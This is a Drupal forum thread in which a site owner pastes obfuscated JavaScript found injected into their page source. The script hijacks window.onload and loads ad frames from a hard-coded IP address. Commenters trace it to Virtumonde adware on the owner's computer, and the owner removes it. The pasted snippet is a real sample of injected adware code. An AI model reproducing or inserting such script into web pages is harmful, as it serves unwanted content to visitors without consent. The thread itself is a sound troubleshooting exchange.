By webpoga on

Please help, I don't know how they inserted this script below the when I view the source.

<script type="text/javascript" language="javascript">

    var   LLkidbkKGAOihwRJ;
    OBonEdwMjthbCtRHOd = window.onload;
    
	window.onload = pxYvSKnajgUffxn;
	var FdHxiEXuIlGAEYskvLW =12068;
	
    dmmJWFTOXTOmaAHIrn = "";
    
    HehdvshoTTCbrCpTPY = "";
    var   CRmHtbYOPUCJUVhFpWJ=  2564 - 9293;
    UbGPxRqatUtsJAcIN = "";
    KQJNAjgfGmdjcohAfa =18526 + 32499;
    
    ytTxdnfSUkUSbLPp = XYasiwKCfqsvXuYGt(window.location.href);
    var   ofqlShMgdYKueMSRVi=  27185 - 1977;
    UrKAOViQYmwBXaSvw = '154544'; 
    
    gjRRETkDfgyfTtXT = '7C2AAD62488E4A0F8D2B371ED4FF923C';
    BwEdVyeQUwpMfKkt =20962 + 27387;
    gMyGFBPaweVaHlEarI = 'CA7565FA63AE11DDBF79154544CFFFFF';
    var   sKlmpkbvBGCuYEfG=  32014 - 22433;
    tbGyMRekfCJqwXcFGku = 'mm2';
    var HAFAxKNKcdPBySrFfD =582;
    MainVer_24578457887 = '1025';
    var YgnjLLbRqrBROKpdKd =3666 + 27359;
      
    
    ENeVjhSWGKBJWXsxQXX = new Array();
    var LPQJPwAwUOrxknVT =3670;

    AwXMnUktqasogOUyRWm = new Array();
    var   CfstEEQqpYhkLVc;
				
    var arrAnti = new Array("vlaze\.com","sex","fuck","adult");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ENeVjhSWGKBJWXsxQXX.push(element);
AwXMnUktqasogOUyRWm.push(CreaterNtghngLmVhUQIxRFtvect_24578457887(
'b728x90',
'http://85.12.43.87/fls.geo/PH_728x90_8.html?a=b',
'728', '728', '90', '90',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ENeVjhSWGKBJWXsxQXX.push(element);
AwXMnUktqasogOUyRWm.push(CreaterNtghngLmVhUQIxRFtvect_24578457887(
'b720x300',
'http://85.12.43.87/fls.geo/PH_720x300_1.html?a=b',
'720', '720', '300', '300',
'',
''));
var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ENeVjhSWGKBJWXsxQXX.push(element);
AwXMnUktqasogOUyRWm.push(CreaterNtghngLmVhUQIxRFtvect_24578457887(
'b468x60',
'http://85.12.43.87/fls.geo/PH_468x60_1.html?a=b',
'468', '468', '60', '60',
'',
''));

it has very long lines, I wouldn't want to post them all.

I checked all the files that could be affected, index.php, template.php, page.tpl.php and none of them has this code.

⋅ Categories: Drupal 5.x

Comments

webpoga’s picture

webpoga commented

Please if anyone there experienced the same problem.

kevinquillen’s picture

kevinquillen commented

Need to know Drupal version, server setup, etc.

==============
delaware web design
delaware website design

===========
read my thoughts

webpoga’s picture

webpoga commented

drupal 5.7, server has cpanel, all files secured by chmod and all are not writable. I cannot find this code anywhere in my site.

kevinquillen’s picture

kevinquillen commented

Using any custom modules?

If you update to 5.9, does this go away?

==============
delaware web design
delaware website design

===========
read my thoughts

modul’s picture

modul commented

Did a quick Google on "var arrAnti", and I came across a number of instances of your problem. I didn't study it thoroughly, but from what I understood at a quick glance, I'd say your computer (not your site) has been infected with "Adware.Virtumonde". On http://www.spywareinfoforum.com/index.php?showtopic=117412&st=0&start=0 you can read a story on how to get rid of it. From what I understand, it's not your source files which have been infected, but rather your browser. Keep us informed how you get it fixed, maybe with this removal tool: http://malware-remover.com/virtumonde-removal-tool-adwarevirtumonde/

webpoga’s picture

webpoga commented

nice find dude. Im giving you the title "best man in the world for just today". I didn't noticed I forgot installing some protection to my computer. I removed these malware using 'spybots search and destroy.' http://www.safer-networking.org/en/index.html - and yeah, they are currently featuring the removal of this MONSTER adware, an actual TROJAN, causing many problems to your PC specifically to your browsing experience, blocking many websites such as google and yahoo, I actually gone tired searching using MSN.

Again, thanks.

modul’s picture

modul commented

Glad to have been of assistance :-). Safer-networking.org is a nice site, apparently. I'm going to have a closer look.